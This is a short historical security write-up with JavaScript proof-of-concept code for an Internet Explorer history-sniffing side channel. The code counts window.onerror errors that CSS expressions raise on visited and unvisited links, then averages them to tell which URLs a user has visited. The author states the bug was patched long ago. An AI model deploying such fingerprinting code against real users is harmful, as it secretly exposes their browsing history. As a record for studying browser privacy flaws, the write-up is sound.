CSS expressions on visited links generate a different number of JavaScript errors than on unvisited ones. By counting errors via window.onerror and taking an average over repeated measurements, it is possible to determine whether a given URL was previously visited — without any special CSS rules or :visited pseudo-class tricks.
var align = lastErrCount = errCount = 0;
var AVG_NON_VISITED = AVG_VISITED = 0;
var ALIGNMENT_ACCURACY = 20;
var average = 0;
window.onerror = function(e) {
errCount++;
return true;
}
function checkIfVisited(strUrl) {
document.getElementById("container").innerHTML =
'<a style="text-decoration: none;font-family: Monospace;font-size: 24px;' +
'background-Color:expression(if (!window.a) return 1)" href="' + strUrl + '">THIS IS A LINK</a>';
setTimeout('document.getElementById("container").innerHTML = ""; lastErrCount = errCount; errCount=0;', 10);
}
function calcIfUrlWasVisited(strUrl) {
checkIfVisited(strUrl);
if (++align < ALIGNMENT_ACCURACY) {
average += lastErrCount;
setTimeout("calcIfUrlWasVisited('" + strUrl + "')", 50);
} else {
var CURRENT_VALUE = Math.floor(average / ALIGNMENT_ACCURACY);
if (CURRENT_VALUE == AVG_VISITED) {
alert("Visited!");
} else {
alert("Not Visited!");
}
align = 0;
average = 0;
}
}
The link is repeatedly rendered and removed, with error counts accumulated and averaged. The technique runs about 20 cycles per URL in roughly one second. This works in IE8 emulation mode and was a reliable way to build a browser history fingerprinter. Tested on IE10 / IE11 build 20130312-2100.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.